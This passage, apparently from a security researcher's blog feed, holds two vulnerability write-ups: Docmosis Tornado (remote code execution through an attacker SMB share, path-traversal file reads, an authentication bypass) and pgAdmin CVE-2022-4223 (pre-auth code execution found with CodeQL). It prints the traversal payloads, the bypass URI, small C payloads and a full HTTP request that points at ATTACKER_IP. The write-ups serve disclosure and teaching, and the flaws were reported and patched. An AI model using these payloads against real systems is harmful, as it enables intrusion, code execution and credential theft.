<p>Now, changing the <strong>Open/Libre Office location</strong> value to a remote network share path allows to load an <strong>arbitrary malicious .exe file</strong> named <code class="language-plaintext highlighter-rouge">soffice.exe</code> instead. After a restart of Docmosis Tornado, this would be fetched and executed, allowing an attacker to executing arbitrary code on the targeted machine. This already is a critical vulnerability in itself but <strong>requires user interaction</strong> on the server-side for the <em>restart</em>. <strong>The web UI does not provide any restart functions</strong>. Looking again at the GWT service implementation, we find the method <code class="language-plaintext highlighter-rouge">com.docmosis.webserver.server.ConfigurationServiceImpl.restartServer()</code> which indeed allows exactly this via a properly crafted GWT HTTP request. This makes the <strong>user interaction restriction obsolete</strong>. To following steps have to be taken to prove the Remote Code Execution (RCE).</p>

<ul>
  <li>We create a “malicious” <code class="language-plaintext highlighter-rouge">soffice.exe</code> file with a C cross compiler with the following code underneath.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>void main()
{
	system("cmd.exe /C calc");
}
</code></pre></div></div>

<ul>
  <li>
    <p>We mimick the directory/file structure of a valid LibreOffice installation on our remote attacker server.</p>
  </li>
  <li>
    <p>We provide a fake SMB server with help of <a href="https://github.com/fortra/impacket">the impacket suite</a>.</p>
  </li>
  <li>
    <p>We change the Office location in the web UI pointing to this server <code class="language-plaintext highlighter-rouge">\\10.137.0.16\myshare\LibreOffice</code>.</p>
  </li>
</ul>

<p><img src="/assets/images/docmosis/docmosisreport15.png" alt="changepath" /></p>

<ul>
  <li>We observe NTLM authentication on our fake SMB server.</li>
</ul>

<p><img src="/assets/images/docmosis/docmosisreport4.png" alt="ntlmauth" /></p>

<ul>
  <li>We trigger the restart of the Tornado service and got code execution, i.e. our malicious <code class="language-plaintext highlighter-rouge">soffice.exe</code> got executed, popping a Windows calculator.</li>
</ul>

<p><img src="/assets/images/docmosis/docmosisreport5.png" alt="calc" /></p>

<p>Since the targeted server uses NTLM authentication to login to the attacker’s fake SMB server, this could of course be used to capture the <strong>NetNTLM hash</strong>. This hash could be cracked offline, so finally an attacker would have had valid Windows credentials to access the server via other channels.</p>

<h2 id="multiple-path-traversals---file-read">Multiple Path Traversals - File Read</h2>

<p>In general, no proper validation of file system operations with respect to traversal attacks can be found. This allows various attack vectors leading to file disclosure out of the context directories specified within the Tornado application.</p>

<h3 id="restricted-file-read">Restricted File Read</h3>

<p>First, we show a file read primitive with a few restrictions for the attacker. The <strong>“Source Templates From”</strong> directory is set to <code class="language-plaintext highlighter-rouge">C:\Users\user\Desktop\templates</code> in our lab environment.</p>

<p><img src="/assets/images/docmosis/docmosisreport6.png" alt="templatefolder" /></p>

<p>Using the function <em>“Creating dummy data based on template”</em> in the web UI fills the <em>Data</em> text field automatically so afterwards we can click the <em>Test</em> button to create e.g. a PDF file. Next to our <code class="language-plaintext highlighter-rouge">templates</code> directory, mentioned above, we put a file with fake secret data <code class="language-plaintext highlighter-rouge">C:\Users\user\Desktop\secretfolder\secret.txt</code>. Now the request is intercepted and a path traversal payload injected into the template reference path.</p>

<p><img src="/assets/images/docmosis/docmosisreport7.png" alt="traversal1" /></p>

<p>Indeed, the generated document contains the content of the secret file: a file located at a completely different folder than <code class="language-plaintext highlighter-rouge">C:\Users\user\Desktop\templates</code>.</p>

<p><img src="/assets/images/docmosis/docmosisreport8.png" alt="disclosure1" /></p>

<p>This seems at least be restricted to certain file types but nevertheless is a juicy vulnerability.</p>

<h3 id="full-file-read">Full File Read</h3>

<p>The most dangerous path traversal vulnerability originates from the service call to <code class="language-plaintext highlighter-rouge">/fetch?filename=[SOME_NAME].pdf</code>. This is called after we generated the PDF file above to automatically download the file content from the server.</p>

<p><img src="/assets/images/docmosis/docmosisreport9.png" alt="download" /></p>

<p>The corresponding implementation can be found in <code class="language-plaintext highlighter-rouge">com.docmosis.webserver.servlet.FetchTmp.doGet(HttpServletRequest, HttpServletResponse)</code>. The <code class="language-plaintext highlighter-rouge">filename</code> request parameter is used within a String concatenation to retrieve the file.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">filename</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="na">getParameter</span><span class="o">(</span><span class="s">"filename"</span><span class="o">);</span>
<span class="n">filename</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">getProperty</span><span class="o">(</span><span class="s">"java.io.tmpdir"</span><span class="o">)</span> <span class="o">+</span> <span class="s">"/"</span> <span class="o">+</span> <span class="n">filename</span><span class="o">;</span>
</code></pre></div></div>

<p>This allows an attacker to again introduce relative path segments, giving access to arbitrary files on the server file system. Here, we show reading the file <code class="language-plaintext highlighter-rouge">C:\Windows\win.ini</code>.</p>

<p><img src="/assets/images/docmosis/docmosisreport10.png" alt="traversal2" /></p>

<h2 id="authentication-bypass">Authentication Bypass</h2>

<p>Even though, the default installation does not require an <em>Admin password</em> being set, the web UI indeed provides a configuration field. To test this, we set a password, clicked the logout button and indeed are redirected to the login page.</p>

<p><img src="/assets/images/docmosis/docmosisreport11.png" alt="loginpage" /></p>

<p>Also our full file read vulnerability now cannot be exploited anymore from an unauthenticated content (<em>still exploitable as authenticated user, though</em>).</p>

<p><img src="/assets/images/docmosis/docmosisreport12.png" alt="traversalfail" /></p>

<p>Looking at the web descriptor file <code class="language-plaintext highlighter-rouge">web.xml</code> reveals that an authentication filter is set in place for all URI paths.</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;filter-mapping&gt;</span>
	<span class="nt">&lt;filter-name&gt;</span>AuthenticatedCheckFilter<span class="nt">&lt;/filter-name&gt;</span>
	<span class="nt">&lt;url-pattern&gt;</span>/*<span class="nt">&lt;/url-pattern&gt;</span>
<span class="nt">&lt;/filter-mapping&gt;</span> 
</code></pre></div></div>

<p>Every request has to go through the Java Servlet filter <code class="language-plaintext highlighter-rouge">com.docmosis.webserver.servlet.AuthenticatedCheckServlet.doFilter(ServletRequest, ServletResponse, FilterChain)</code>.
Surprisingly, the authentication check can be bypassed to reach the final <code class="language-plaintext highlighter-rouge">chain.doFilter(request, response)</code> call. Responsible for this is the following code path:</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">(!</span><span class="n">authenticated</span><span class="o">)</span> <span class="c1">// [1]</span>
<span class="o">{</span>
  <span class="k">if</span> <span class="o">(!</span><span class="n">isRestCall</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// [2]</span>



    
    <span class="nc">WebServerPreferences</span> <span class="n">prefs</span> <span class="o">=</span> <span class="nc">WebServerPreferencesStore</span><span class="o">.</span><span class="na">getPrefs</span><span class="o">();</span>
    <span class="kt">boolean</span> <span class="n">authenticationRequired</span> <span class="o">=</span> <span class="o">!</span><span class="nc">StringUtilities</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">prefs</span><span class="o">.</span><span class="na">getAdminPassword</span><span class="o">());</span>
    
    <span class="k">if</span> <span class="o">(</span><span class="n">authenticationRequired</span><span class="o">)</span> <span class="o">{</span> <span class="c1">// [3]</span>
      
      <span class="k">if</span> <span class="o">(</span><span class="n">isGWTRPCCall</span><span class="o">)</span> <span class="o">{</span>
        
        <span class="o">((</span><span class="nc">HttpServletResponse</span><span class="o">)</span><span class="n">response</span><span class="o">).</span><span class="na">sendError</span><span class="o">(</span><span class="mi">401</span><span class="o">);</span> <span class="k">return</span><span class="o">;</span>
      <span class="o">}</span> 
      <span class="k">if</span> <span class="o">(!</span><span class="k">this</span><span class="o">.</span><span class="na">authPostUrl</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">req</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">()))</span> <span class="o">{</span>
        
        <span class="nc">RequestDispatcher</span> <span class="n">rd</span> <span class="o">=</span> <span class="n">req</span><span class="o">.</span><span class="na">getRequestDispatcher</span><span class="o">(</span><span class="s">"/authenticate.jsp"</span><span class="o">);</span>
        <span class="n">rd</span><span class="o">.</span><span class="na">forward</span><span class="o">(</span><span class="n">request</span><span class="o">,</span> <span class="n">response</span><span class="o">);</span>

        
        <span class="k">return</span><span class="o">;</span>
      <span class="o">}</span> 
    <span class="o">}</span>
<span class="o">}</span> 
</code></pre></div></div>

<p>At [1], it is properly checked if the user is already authenticated. If not, the <code class="language-plaintext highlighter-rouge">if</code> branch is entered. If this request is not part of a REST call [2] and an Admin password is set [3], then access is denied. The problem now relies in the check if <code class="language-plaintext highlighter-rouge">isRestCall</code> is <code class="language-plaintext highlighter-rouge">true/false</code>.</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">boolean</span> <span class="n">isRestCall</span> <span class="o">=</span> <span class="n">req</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">().</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"/api/"</span><span class="o">)</span>
</code></pre></div></div>

<p>Our path traversal attack e.g. <code class="language-plaintext highlighter-rouge">/fetch?filename=../../../../../Windows/win.ini</code> indeed does not start with <code class="language-plaintext highlighter-rouge">/api</code> but at this point of HTTP request processing, a simple bypass is possible due to using the <code class="language-plaintext highlighter-rouge">startsWith</code> String method.
Using an URI path with relative path segments like <code class="language-plaintext highlighter-rouge">/api/../fetch?filename=../../../../../Windows/win.ini</code> bypasses the authentication check and triggers the file read primitive again.</p>

<p><img src="/assets/images/docmosis/docmosisreport13.png" alt="bypass" /></p>

<h2 id="internet-exposure-check">Internet Exposure Check</h2>

<p>These findings were shared with the vendor and they released <strong><a href="https://resources.docmosis.com/content/documentation/tornado-v2-9-5-release-notes">version 2.9.5</a></strong> to address these issues (I did not validate the patches, though). Checking the exposure rate of this software on the public Internet, one of the systems found was <strong>[REDACTED].upu.int</strong>. Even though, this instance was not using the latest version, the same vulnerabilities still worked fine.</p>

<p>As it turned out, this system belongs to the <strong><a href="https://www.upu.int/en/home">Universal Postal Union (UPU)</a></strong>, a specialized agency of the United Nations (UN). Additionally, this system seemed to be part of the official UPU network, i.e. no cloud-hosted instance but rather an entry point to the network of UPU.</p>

<p><img src="/assets/images/docmosis/weltpost7_2.png" alt="whois" /></p>

<p>The system exposed a web UI of Docmosis Tornado with default configurations, i.e. no authentication needed at all. Even if authentication would have been needed, we already found an <strong>Authentication Bypass</strong>.</p>

<p><img src="/assets/images/docmosis/weltpost4_2.png" alt="exposure" /></p>

<p>To prove the system to be vulnerable, we read the content of <code class="language-plaintext highlighter-rouge">C:\Windows\win.ini</code> and provided the report as quickly as possible.</p>

<p><img src="/assets/images/docmosis/weltpost6_2.png" alt="poc" /></p>

<h2 id="acknowledgements">Acknowledgements</h2>

<p>Many thanks to <a href="https://twitter.com/f00bar_">Carlos</a> from <a href="https://www.unicc.org/">UNICC</a> to forward my requests to UPU quickly. Also the Docmosis team communicated fast and professionally.</p>

<p>P.S.: I’m pretty sure there’re more vulnerabilities in this product. Go, practice and responsibly disclose issues to the Docmosis team. Maybe you’ll find a deserialization vulnerability somewhere <em>*hint*</em>.</p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[Recently, I did a non-exhaustive security product review on a Document Generator Engine, named Docmosis. A system I targeted used Docmosis Tornado in its latest version 2.9.4. I’ll give you a walkthrough based on my local lab installation with a Proof-of-Concept exploitation on an on-premises system belonging to a specialized agency of the United Nations.]]></summary></entry><entry><title type="html">Pre-Auth RCE with CodeQL in Under 20 Minutes</title><link href="/vulns4free/2022/12/02/rce-in-20-minutes.html" rel="alternate" type="text/html" title="Pre-Auth RCE with CodeQL in Under 20 Minutes" /><published>2022-12-02T08:00:00+00:00</published><updated>2022-12-02T08:00:00+00:00</updated><id>/vulns4free/2022/12/02/rce-in-20-minutes</id><content type="html" xml:base="/vulns4free/2022/12/02/rce-in-20-minutes.html"><![CDATA[<p>This write-up won’t be an intense discussion on security code review techniques this time.
We’ll simply let do all the hard work by a third party: <a href="https://codeql.github.com/">CodeQL</a>.</p>

<p>Our target? <a href="https://www.pgadmin.org/">pgAdmin</a>. Or to be more precise, the <strong>web interface</strong> if you run pgAdmin in <em>server mode</em>. For the ones of you who don’t know pgAdmin yet, have a look at their website.</p>

<blockquote>
  <p>pgAdmin is the most popular and feature rich Open Source administration and development platform for PostgreSQL, the most advanced Open Source database in the world.</p>
</blockquote>

<p>This statement from their website is true, indeed. I used this tool already many years ago in my software development career path. But I didn’t know that it’s possible to run this “client” program in a kind of server mode. Maybe you’ve already seen these kinds of login screens somewhere?</p>

<p><img src="/assets/images/codeql/pgadminlogin.png" alt="pgAdminLogin" /></p>

<p>There is a nicely written <a href="https://www.pgadmin.org/docs/pgadmin4/development/server_deployment.html">introduction</a> by the pgAdmin team on how to setup such a server quickly.</p>

<blockquote>
  <p>pgAdmin may be deployed as a web application by configuring the app to run in server mode and then deploying it either behind a webserver running as a reverse proxy, or using the WSGI interface.</p>
</blockquote>

<p>Alright then: we know how to setup this kind of thing and also that’s it’s quite common to find these on the <a href="https://search.censys.io/search?resource=hosts&amp;sort=RELEVANCE&amp;per_page=25&amp;virtual_hosts=EXCLUDE&amp;q=services.http.response.html_title%3A%22pgAdmin+4%22">public Internet</a> (and Intranet I guess).</p>

<p>Since I’m looking at many different products on a daily basis at work, sometimes different approaches are needed to get a first idea on the degree of “resilience” with respect to vulnerability discovery. One of my many approaches takes into account <em>CodeQL</em>, a “semantic code analysis engine”. I don’t want to try giving you a proper introduction into CodeQL (I don’t think I can) but rather give you a step-by-step tutorial on how this was used for attacking the pgAdmin code.</p>

<p>CodeQL needs a database containing the code in a structured format depending on the targeted language. For Java e.g. one has to let the CodeQL engine be part of your compilation process. Looking at the <a href="https://github.com/pgadmin-org/pgadmin4">pgAdmin GitHub</a> project, we spot the main language being <strong>Python</strong>. Luckily, CodeQL supports this language as well. Since <a href="https://lgtm.com/">https://lgtm.com/</a> will be shut down this month, fetching ready-to-go CodeQL databases from this platform won’t be an option anymore. But good for us, the CodeQL team provides a ton of great documentation such as one for <a href="https://codeql.github.com/docs/codeql-cli/creating-codeql-databases/">creating such databases</a>. I love to look at code with <strong>Visual Studio Code</strong> which has a support for the CodeQL engine!</p>

<p>So let’s install the <strong>extension</strong> first.</p>

<p><img src="/assets/images/codeql/vscodeql.png" alt="vscodeextension" /></p>

<p>A new button on the left side of your sidebar will appear named <strong>QL</strong>. Next we fetch the latest version <strong>6.16</strong> of pgAdmin (at the time of the vulnerability discovery) from the <a href="https://github.com/pgadmin-org/pgadmin4/archive/refs/tags/REL-6_16.zip">GitHub project</a>. We immmediately recognize the <code class="language-plaintext highlighter-rouge">web</code> directory with multiple Python files, part of the web application we’ll talk about later.</p>

<p>If your installation of the CodeQL extension finished properly, you’ll find the CodeQL CLI file at some location like <code class="language-plaintext highlighter-rouge">$HOME/.config/Code/User/globalStorage/github.vscode-codeql/distribution2/codeql/codeql</code>. Executing this file will give you the help. Set an <code class="language-plaintext highlighter-rouge">alias</code>, adjust your <code class="language-plaintext highlighter-rouge">.bashrc</code> or whatever fits your comfort needs.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Usage: codeql &lt;<span class="nb">command</span><span class="o">&gt;</span> &lt;argument&gt;...
Create and query CodeQL databases, or work with the QL language.
...
</code></pre></div></div>

<p>You’re all set to create your CodeQL database now!</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>codeql database create pgadmincodeql <span class="nt">--language</span><span class="o">=</span>python
Initializing database at <span class="nv">$HOME</span>/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Running build <span class="nb">command</span>: <span class="o">[]</span>
...
Finalizing database at <span class="nv">$HOME</span>/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql.
Successfully created database at <span class="nv">$HOME</span>/pgAdmin/pgadmin4-REL-6_16/pgadmincodeql
</code></pre></div></div>

<p>And indeed the new directory <code class="language-plaintext highlighter-rouge">pgadmincodeql</code> was successfully created. Easy, wasn’t it? Now, we’ve to bring this database into our VS Code workspace using the QL menu.</p>

<p><img src="/assets/images/codeql/vscodeqlmenu.png" alt="vscodeqlmenu" /></p>

<p>Choose the newly created folder and the database will appear in VS Code magically. Then you’ve to set it as default by clicking on it until a grey mark is shown. You’re ready to use the database!</p>

<p>Before we can execute cool CodeQL queries, the gifts from the busy GitHub CodeQL team/community is needed. So clone the official <a href="https://github.com/github/codeql">CodeQL GitHub repository</a> into your workspace.
Ready to find the Pre-Auth Remote Code Execution (RCE) with just a few clicks?</p>

<h1 id="find-the-flaw---codeql">Find the flaw - CodeQL</h1>

<p>So I didn’t lie on finding the flaw in under 20 minutes. This included downloading the pgAdmin source, installing the VS Code extension, creating the CodeQL database, cloning the CodeQL GitHub repository and starting only one pre-built CodeQL query.</p>

<p>So, we imported the CodeQL database into our VS Code workspace. Now let’s get straight to the meat without even going to do any application mapping and other useful things typically expected during a security code review.</p>

<p>In the VS Code Explorer, the CodeQL GitHub project is visible and we drill down to <code class="language-plaintext highlighter-rouge">codeql/python/ql/src/Security</code>. There you’ll find all the crazy stuff people did to provide intelligent queries against your database. We’re especially interested in queries which</p>

<ol>
  <li>Allow to cover a lot of dangerous sinks at once.</li>
  <li>Include the tainted analyses spirit, i.e. instead of “just” showing potential dangerous sinks, also give us information if and how a sink can be reached from a reachable source.</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">codeql/python/ql/src/Security/CWE-020-ExternalAPIs/UntrustedDataToExternalAPI.ql</code> will be a good start. Let’s try this by opening this file and then simply hit <strong>CodeQL: Run query</strong>. This will take some time, grab a coffee…are you back? Let’s see what the result was.</p>

<p><img src="/assets/images/codeql/codeqlresult.png" alt="codeqlresult" /></p>

<p>Wow, that’s a lot of stuff! Since you might know me from former blog posts: I’m lazy, i.e. often searching for the most obvious attack path first.</p>

<p>The <code class="language-plaintext highlighter-rouge">subprocess.getoutput( )</code> sink perfectly matches my taste.</p>

<p><img src="/assets/images/codeql/attackpath.png" alt="attackpath" /></p>

<p>Indeed, CodeQL did a great job. It “realized” that the <code class="language-plaintext highlighter-rouge">request</code> from the <code class="language-plaintext highlighter-rouge">flask</code> Python library is used here. This is used all over the code to e.g. read from <code class="language-plaintext highlighter-rouge">request.data</code> and doing stuff with it. Let’s have a closer look to the sink function.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">blueprint</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">"/validate_binary_path"</span><span class="p">,</span>
                 <span class="n">endpoint</span><span class="o">=</span><span class="s">"validate_binary_path"</span><span class="p">,</span>
                 <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">"POST"</span><span class="p">])</span> <span class="c1"># [1]
</span><span class="k">def</span> <span class="nf">validate_binary_path</span><span class="p">():</span>
    <span class="s">"""
    This function is used to validate the specified utilities path by
    running the utilities with there versions.
    """</span>
    <span class="n">data</span> <span class="o">=</span> <span class="bp">None</span>
    <span class="k">if</span> <span class="nb">hasattr</span><span class="p">(</span><span class="n">request</span><span class="p">.</span><span class="n">data</span><span class="p">,</span> <span class="s">'decode'</span><span class="p">):</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">data</span> <span class="o">!=</span> <span class="s">''</span><span class="p">:</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

    <span class="n">version_str</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">if</span> <span class="s">'utility_path'</span> <span class="ow">in</span> <span class="n">data</span> <span class="ow">and</span> <span class="n">data</span><span class="p">[</span><span class="s">'utility_path'</span><span class="p">]</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> <span class="c1"># [2]
</span>        <span class="c1"># Check if "$DIR" present in binary path
</span>        <span class="n">binary_path</span> <span class="o">=</span> <span class="n">replace_binary_path</span><span class="p">(</span><span class="n">data</span><span class="p">[</span><span class="s">'utility_path'</span><span class="p">])</span> <span class="c1"># [3]
</span>
        <span class="k">for</span> <span class="n">utility</span> <span class="ow">in</span> <span class="n">UTILITIES_ARRAY</span><span class="p">:</span> <span class="c1"># [4]
</span>            <span class="n">full_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">abspath</span><span class="p">(</span>
                <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">binary_path</span><span class="p">,</span>
                             <span class="p">(</span><span class="n">utility</span> <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">name</span> <span class="o">!=</span> <span class="s">'nt'</span> <span class="k">else</span>
                              <span class="p">(</span><span class="n">utility</span> <span class="o">+</span> <span class="s">'.exe'</span><span class="p">))))</span> <span class="c1"># [5]
</span>
            <span class="k">try</span><span class="p">:</span>
                <span class="c1"># Get the output of the '--version' command
</span>                <span class="n">version_string</span> <span class="o">=</span> \
                    <span class="n">subprocess</span><span class="p">.</span><span class="n">getoutput</span><span class="p">(</span><span class="s">'"{0}" --version'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">full_path</span><span class="p">))</span> <span class="c1"># [6]
</span>                <span class="c1"># Get the version number by splitting the result string
</span>                <span class="n">version_string</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">") "</span><span class="p">,</span> <span class="mi">1</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">split</span><span class="p">(</span><span class="s">'.'</span><span class="p">,</span> <span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
                <span class="p">...</span>
</code></pre></div></div>

<p>At [1] the HTTP route handler is defined with <code class="language-plaintext highlighter-rouge">/validate_binary_path</code> being the corresponding URI part to trigger the code. We expect this to come in as <code class="language-plaintext highlighter-rouge">POST</code> request. <code class="language-plaintext highlighter-rouge">request.data</code> is read and at [2] the <code class="language-plaintext highlighter-rouge">utility_path</code> POST body parameter is processed within an <code class="language-plaintext highlighter-rouge">if</code> block. We don’t really care about the function at [3], you might check yourself “why”.
But at [4] a constant named <code class="language-plaintext highlighter-rouge">UTILITIES_ARRAY</code> seems to heavily restrict our final input later flowing into the <code class="language-plaintext highlighter-rouge">subprocess</code> call. <code class="language-plaintext highlighter-rouge">constants.py</code> tells us that <code class="language-plaintext highlighter-rouge">UTILITIES_ARRAY = ['pg_dump', 'pg_dumpall', 'pg_restore', 'psql']</code>. Fine, but at [5] we still control the now named <code class="language-plaintext highlighter-rouge">binary_path</code> variable, right? We control the <strong>path</strong> but not the file name being executed in the dangerous final sink at [6]. Also you might have observed that the <code class="language-plaintext highlighter-rouge">flask_login</code> module provides a <code class="language-plaintext highlighter-rouge">@login_required</code> annotation (check other routes of the web app) to check for an authenticated context. This is missing here, so we should at least be able to <strong>reach this route from an unauthenticated context</strong>. You can indeed!</p>

<p>But you know, this is Python and the Server mode setup guide mentioned in the beginning also describes an installation on <strong>Windows</strong>. I won’t go into a detailed step-by-step guide to install pgAdmin in Server mode on Windows because this took me over 3 hours and would make my blog post title obsolet *cough*.</p>

<p>If your patient enough, you could try to use your Python CLI on Windows to check what happens after using an <strong>UNC path to a remote share</strong> in the <code class="language-plaintext highlighter-rouge">os.path.abspath(os.path.join(...))</code> construct. Guess what, it will work as expected and the file would have been retrieved, read, called, whatever.</p>

<p>Let’s try this by setting up an SMB server on our Linux attacker machine using the famous <a href="https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py">Impacket suite</a>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./smbserver.py myshare <span class="nv">$HOME</span>/tmp
</code></pre></div></div>

<p>In my <code class="language-plaintext highlighter-rouge">tmp</code> directory I create a file named after a randomly chosen entry from the list <code class="language-plaintext highlighter-rouge">UTILITIES_ARRAY</code>, e.g. <code class="language-plaintext highlighter-rouge">pg_dump[.exe]</code>. Well, not totally random content, we want to do it right the first time. So let’s create an <code class="language-plaintext highlighter-rouge">.exe</code> using the <code class="language-plaintext highlighter-rouge">mingw</code> cross-compiler and <code class="language-plaintext highlighter-rouge">pg_dump.c</code> like this.</p>

<pre><code class="language-C">void main() {
 system("cmd.exe /K mspaint");
}
</code></pre>

<p>Now <code class="language-plaintext highlighter-rouge">POST /misc/validate_binary_path HTTP/1.1</code> should trigger the vulnerable code path. Depending on your pgAdmin Windows installation, you’ve to fetch a Cookie and CSRF-token first from either browsing to <code class="language-plaintext highlighter-rouge">/</code>, <code class="language-plaintext highlighter-rouge">/login</code> or <code class="language-plaintext highlighter-rouge">/browser</code>. It’s possible for any installation type, so we just assume you were able to retrieve the content for the <code class="language-plaintext highlighter-rouge">X-pgA-CSRFToken</code> header for now. The final payload looks like this.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /misc/validate_binary_path HTTP/1.1
Host: [TARGETHOST]
Cookie: [COOKIES_YOU_FETCHED_IN_ADVANCE]
X-pgA-CSRFToken: [CSRF_TOKEN_YOU_FETCHED_IN_ADVANCE]
Connection: close
Referer: https://[TARGETHOST]/browser/
Content-Length: [n]
Content-Type: application/json
{"utility_path":"\\\\[ATTACKER_IP]\\[PREFERED_SHARE_NAME]"}
</code></pre></div></div>

<p>After firing the payload, we see an incoming SMB connection at our attacker machine, retrieving the file(s) <code class="language-plaintext highlighter-rouge">pg_dump.exe</code>: Pre-Auth RCE achieved.</p>

<p><img src="/assets/images/codeql/mspaint.png" alt="RCE" /></p>

<h1 id="patch">Patch</h1>

<p>The pgAdmin team assigned <strong>CVE-2022-4223</strong> and released a new version <strong>6.17</strong> quickly. Kudos to them and their kind communication. I’m proud also that they now improved their disclosure process by adding more information on their GitHub project and also discuss the creation of a <code class="language-plaintext highlighter-rouge">SECURITY.md</code>.</p>

<p><img src="/assets/images/codeql/patch.png" alt="Patch" /></p>

<p>Alright, unauthenticated context for an attacker: killed. But in my opinion, the same exploit should still work from an authenticated context.</p>

<h1 id="final-thoughts">Final Thoughts</h1>

<p>You might think: well, this was easy. Yeeesss, it was and everbody could have done it for sure. Use the tools and knowledge of all the bright people in infosec to help you through your journey of finding critical vulnerabilities. But please also have a deeper look into CodeQL first. From my experience, this was a total showcase, i.e. you might write your own queries and understand possible source APIs of your target application first before achieving any meaningful results. There exist some awesome workshops even with <a href="https://youtu.be/-bJ2Ioi7Icg">videos</a> by the talented Alvaro Muñoz aka pwntester. I can also highly recommend the <a href="https://youtu.be/nvCd0Ee4FgE">workshop videos</a> “Finding security vulnerabilities in Java with CodeQL”. There is so much more: search and profit!</p>]]></content><author><name></name></author><category term="vulns4free" /><summary type="html"><![CDATA[This write-up won’t be an intense discussion on security code review techniques this time. We’ll simply let do all the hard work by a third party: CodeQL.]]></summary></entry></feed>